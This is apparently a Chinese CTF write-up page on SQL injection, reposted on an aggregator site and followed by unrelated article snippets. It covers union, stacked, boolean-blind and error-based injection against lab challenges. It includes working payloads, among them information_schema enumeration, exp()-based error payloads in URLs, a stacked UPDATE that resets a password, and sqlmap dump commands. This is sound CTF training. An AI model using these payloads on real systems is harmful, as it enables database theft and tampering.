SQL注入--题目

联合查询注入:

bugku-这是一个神奇的登录框

手工注入:

 点吧,输入0’发现还是:

输入0" 发现报错:

确定可以注入,判断字段有多少个 0"order by 1,2,3# 发现:

 

 

说明有两列。

输入 0" union select database(),2# ,得到库名:

 继续输入 0" union select table_name,2 from information_schema.tables where table_schema=’bugkusql1’ # (0" union select group_concat(table_name),2 from information_schema.tables where table_schema=database()# )得到表名:
继续输入 0" union select column_name,2 from information_schema.columns where table_name=‘flag1’ # 得到列名:

继续输入 0" union select flag1,2 from flag1# (爆字段里的内容,中的表明是不加单引号的)得到该列下的值:

 sqlmap:

查看一下源码:

 

是post提交,url明显提示是个sql注入,由于post提交,要sql和burp结合起来使用。

首先burp抓包,抓到包后选择存到txt文件中:(随便输入账号密码)

 

我保存到了D:\1.txt

然后打开sqlmap,输入指令:sqlmap.py -r "D:\1.txt" -p admin_name --dbs

解释一下 -r是读文件 后面是刚才保存的绝对路径,-p是参数,也就是注入点(选了admin_name是注入点) --dbs意思是想获取数据库名字

可以看到sqlmap获得了数据库的名字:

应该是这个bugkul1,再继续爆表,命令:sqlmap.py -r "D:\1.txt" -D bugkusql1 -p admin_name --tables

解释:-D是表示选择了后面的这个数据库 --tables是想获取表

可以看到爆出了表

应该在flag1这个表里,继续爆列名

命令:sqlmap.py -r "D:\1.txt" -D bugkusql1 -T flag1 -p admin_name --columns

解释类似上面 不过加了一个-T 指定表

可以发现爆出了列名

flag1这个列 最后查字段 命令:sqlmap.py -r "D:\1.txt" -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump

解释:同上面 --dump是获取字段的命令

(在这过程中可能会让你选择Y或者N 我直接回车的)

可以看到爆出了flag

堆叠注入

Sqlilabs-less38

根据关卡提示,得知 38关 为堆叠注入,页面如下。

 如果堆叠注入的情况下,首先是考虑闭合前面的语句,再执行第二个语句;所以构建payload "?id=1';第二条SQL语句 --+" 或者 "?id=1;第二条SQL语句 --+"

从页面上直观的看当前显示的用户和密码为 “Dumb/Dumb”,姑且猜测当前用户在表中的两个字段 “username”、“password”;

现在尝试一下爆出数据库、表、列名等相关信息。  尝试得到库名 “security”

尝试获取 “security” 数据库下的表名 得到[emails,referers,uagents,users]

http://139.196.87.102:11207/Less-38/?id=1%27%20and%20exp(~(select%20*%20from(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27)a));%20--+

得到了一个 “users” 表的信息,现在看一下 “users” 表的列名 [id,username,password]

http://139.196.87.102:11207/Less-38/?id=1%27%20and%20exp(~(select%20*%20from(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)a));%20--+
构造堆叠注入的payload ?id=1'; update users set password = 'Dumb' where username = 'Dumb'; --+

 这里看到 Dumb 用户的密码被改成了 Dumb001 ,说明构建的堆叠注入的 payload 利用成功

布尔盲注

ctfhub布尔注入

按照题目意思输入1看看

从这里可以知道

不需要打引号 

哦对了,我们先应该判断是否有注入点,利用真假语句来判断id的值是否可以改变sql语句的变化

 通过恒真语句and 1=1和恒假语句and 1=2得知id的值可以改变sql语句的走向,说明这里存在注入点,然后便上网查询一下布尔注入应该要用到哪些函数语句

1 and length(database())=4 

 可以知道数据库名是四个字符的,然后利用substr(x,1,1)分割函数来一个个试是什么字符,利用ascii的值来判断

 可以得知数据库第一个字符的ascii值是大于110的

 

 可以确定第一个字符的ascii值就是115也就是s,后面的就不用去猜了,肯定就是sqli了

 接下来我们利用count函数来判断sqli数据库里有几个表

1 and (select count(table_name) from information_schema.tables where table_schema='sqli' )<3

 可以知道少于3张表,我们就可以联想到news和flag了,方法随便用,可以用concat和floor这种方法来判断,但是都离不开ascii和count来判断 

 得知第一个表的第一个字符ascii值大于109

利用sqlmap来得知数据库有哪些

sqlmap.py -u 登录的地址 -dbs

虽然有点时间,但是还是比我们手动注入的快的 

然后利用sqlmap.py -u 输入地址 -D sqli --tables来获取数据库里面的表

发现两张表flag和news,我们可以直接去看字段以及数值了 

sqlmap.py -u 地址 -D sqli -T flag --columns --dump

 

时间盲注

(这题自己没摸出来,看的网上的wp)主要是脚本问题

CTFHUB SQL注入——时间盲注 附自己写的脚本_ctf 时间盲注_Wuuconix的博客-CSDN博客

求头注入--post,get

自己做的题wp:BUGKU CTF——WEB基础 {GET,POST}_get bugku csdn_lulu001128的博客-CSDN博客

sql注入写马

上传一句话木马

报错注入

Sqlilabs-less5

 先用万能密码试一下:

 

 发现报错,可以直接进行报错注入

 这里直接查询出数据库名,进行下一步操作:

 当我们再次用updatexml函数进行报错注入时发现提示The used SELECT statements have a different number of columns。
猜测是因为updatexml的最大长度是32位,所以换一个函数继续进行注入。

宽字节注入

【ctf】sql注入——宽字节注入_ctf 宽字节注入_甜不拉几的博客-CSDN博客

二次注入

【CTF】二次注入原理及实战_失控的菜鸡玩家的博客-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/9430.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【论文阅读22】Label prompt for multi-label text classification

论文相关 论文标题&#xff1a;Label prompt for multi-label text classification&#xff08;基于提示学习的多标签文本分类&#xff09; 发表时间&#xff1a;2023 领域&#xff1a;多标签文本分类 发表期刊&#xff1a;Applied Intelligence&#xff08;SCI二区&#xff0…

SpringBoot整合Elasticsearch

SpringBoot整合Elasticsearch SpringBoot整合Elasticsearch有以下几种方式&#xff1a; 使用官方的Elasticsearch Java客户端进行集成 通过添加Elasticsearch Java客户端的依赖&#xff0c;可以直接在Spring Boot应用中使用原生的Elasticsearch API进行操作。参考文档 使用Sp…

数据库中的事务处理

MySQL的事务处理&#xff1a;只支持 lnnoDB 和BDB数据表类型 1.事务就是将一组SQL语句放在同一批次内去执行 2.如果一个SQL语句出错&#xff0c;则该批次内的所有SQL都将被取消执行 MySQL的事务实现方法一&#xff1a; select autocommit 查询当前事务提交模式 set a…

机器学习深度学习——图像分类数据集

&#x1f468;‍&#x1f393;作者简介&#xff1a;一位即将上大四&#xff0c;正专攻机器学习的保研er &#x1f30c;上期文章&#xff1a;机器学习&&深度学习——softmax回归&#xff08;下&#xff09; &#x1f4da;订阅专栏&#xff1a;机器学习&&深度学习…

PHP在线相册--【强撸项目】

强撸项目系列总目录在000集 PHP要怎么学–【思维导图知识范围】 文章目录 本系列校训本项目使用技术 上效果图phpStudy 设置导数据库项目目录如图&#xff1a;代码部分&#xff1a;主页 配套资源作业&#xff1a; 本系列校训 用免费公开视频&#xff0c;卷飞培训班哈人&…

【Matlab】基于粒子群优化算法优化BP神经网络的数据回归预测(Excel可直接替换数据)

【Matlab】基于粒子群优化算法优化 BP 神经网络的数据回归预测&#xff08;Excel可直接替换数据&#xff09; 1.模型原理2.数学公式3.文件结构4.Excel数据5.分块代码5.1 fun.m5.2 main.m 6.完整代码6.1 fun.m6.2 main.m 7.运行结果 1.模型原理 基于粒子群优化算法&#xff08;…

国标GB28181协议视频平台EasyCVR修改录像计划等待时间较长的原因排查与解决

音视频流媒体视频平台EasyCVR拓展性强&#xff0c;视频能力丰富&#xff0c;具体可实现视频监控直播、视频轮播、视频录像、云存储、回放与检索、智能告警、服务器集群、语音对讲、云台控制、电子地图、H.265自动转码H.264、平台级联等。为了便于用户二次开发、调用与集成&…

MTK系统启动流程

MTK系统启动流程 boot rom -> preloader ->lk ->kernel ->Native -> Android 1、Boot rom:系统开机&#xff0c;最先执行的是固化在芯片内部的bootrom&#xff0c;其作用主要有 a.初始化ISRAM和EMMC b.当系统全擦后 &#xff0c;也会配置USB&#xff0c;用来仿…

CSS 瀑布流效果效果

示例 <!DOCTYPE html> <html lang="cn"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>瀑布流效果</title><style>…

IMU和视觉融合学习笔记

利用纯视觉信息进行位姿估计&#xff0c;对运动物体、光照干扰、场景纹理缺失等情况&#xff0c;定位效果不够鲁棒。当下&#xff0c;视觉与IMU融合(VI-SLAM&#xff09;逐渐成为常见的多传感器融合方式。视觉信息与IMU 数据进行融合&#xff0c;根据融合方式同样可分为基于滤波…

Rust vs Go:常用语法对比(八)

题目来自 Golang vs. Rust: Which Programming Language To Choose in 2023?[1] 141. Iterate in sequence over two lists Iterate in sequence over the elements of the list items1 then items2. For each iteration print the element. 依次迭代两个列表 依次迭代列表项1…

聊天机器人如何增加电子商务销售额

聊天机器人和自动化对企业和客户来说都是福音。自动对话和聊天机器人&#xff08;以下统称为“自动化”&#xff09;通过自动回答问题或分配会话信息来帮助用户浏览品牌网站或电商商店。即时答案对客户来说非常有用&#xff0c;使用自动化也可以让原本与客户聊天的客服员工专注…

MacDroid for Mac:在Mac上访问和传输Android文件的最简单方式

MacDroid for Mac是一款帮助用户在Mac和Android设备之间传输文件的软件。由于Mac OS X本身并不支持MTP协议&#xff0c;所以透过USB将Android设备连接到Mac电脑上是无法识别的&#xff0c;更别说读取里面的文件了。 MacDroid可以帮助您轻松搞定这个问题&#xff0c;您可以将An…

产业大数据应用:洞察企业全维数据,提升企业监、管、服水平

​在数字经济时代&#xff0c;数据已经成为重要的生产要素&#xff0c;数字化改革风生水起&#xff0c;在新一代科技革命、产业革命的背景下&#xff0c;产业大数据服务应运而生&#xff0c;为区域产业发展主导部门提供了企业洞察、监测、评估工具。能够助力区域全面了解企业经…

output delay 约束

output delay 约束 一、output delay约束概述二、output delay约束系统同步三、output delay约束源同步 一、output delay约束概述 特别注意&#xff1a;在源同步接口中&#xff0c;定义接口约束之前&#xff0c;需要用create_generated_clock 先定义送出的随路时钟。 二、out…

【优选算法题练习】day9

文章目录 一、DP35 【模板】二维前缀和1.题目简介2.解题思路3.代码4.运行结果 二、面试题 01.01. 判定字符是否唯一1.题目简介2.解题思路3.代码4.运行结果 三、724. 寻找数组的中心下标1.题目简介2.解题思路3.代码4.运行结果 总结 一、DP35 【模板】二维前缀和 1.题目简介 DP…

百度智能云连拿四年第一,为什么要深耕AI公有云市场

AI是过去几年云计算市场中的最大变量&#xff0c;而大模型的成熟&#xff0c;毫无疑问将指数级增强这个变量。 记得在2022年年底&#xff0c;生成式AI与大模型开始爆火的时候&#xff0c;我们就曾讨论过一个问题&#xff1a;这轮AI浪潮中&#xff0c;最先受到深刻影响的将是云计…

Oracle 多条记录根据某个字段获取相邻两条数据间的间隔天数,小于31天的记录都筛选出来

需求描述&#xff1a;在Oracle中 住院记录记录表为v_hospitalRecords&#xff0c;表中FIHDATE入院时间&#xff0c;FBIHID是住院号&#xff0c; 我想查询出每个患者在他们的所有住院记录中是否在一个月内再次入院(相邻的两条记录进行比较)&#xff0c;并且住院记录大于一的患者…

qsort的使用及模拟实现

qsort函数是C语言库中提供的一种快速排序&#xff0c;头文件是stdlib.h qsort的使用 qsort函数需要四个参数&#xff1a; 1.排序的起始位置的地址&#xff08;数组名&#xff09;: arr 2.排序元素的个数&#xff1a; sizeof&#xff08;arr)/sizeof(arr[0]) 3.排序元素…

echarts 饼图中间添加文字

需求&#xff1a;饼图中间展示总量数据 方法一、设置series对应饼图的label属性 series: [{type: "pie",radius: [55%, 62%],center: ["67%", "50%"],itemStyle: {borderRadius: 10,borderColor: #fff,borderWidth: 2},// 主要代码在这里label: …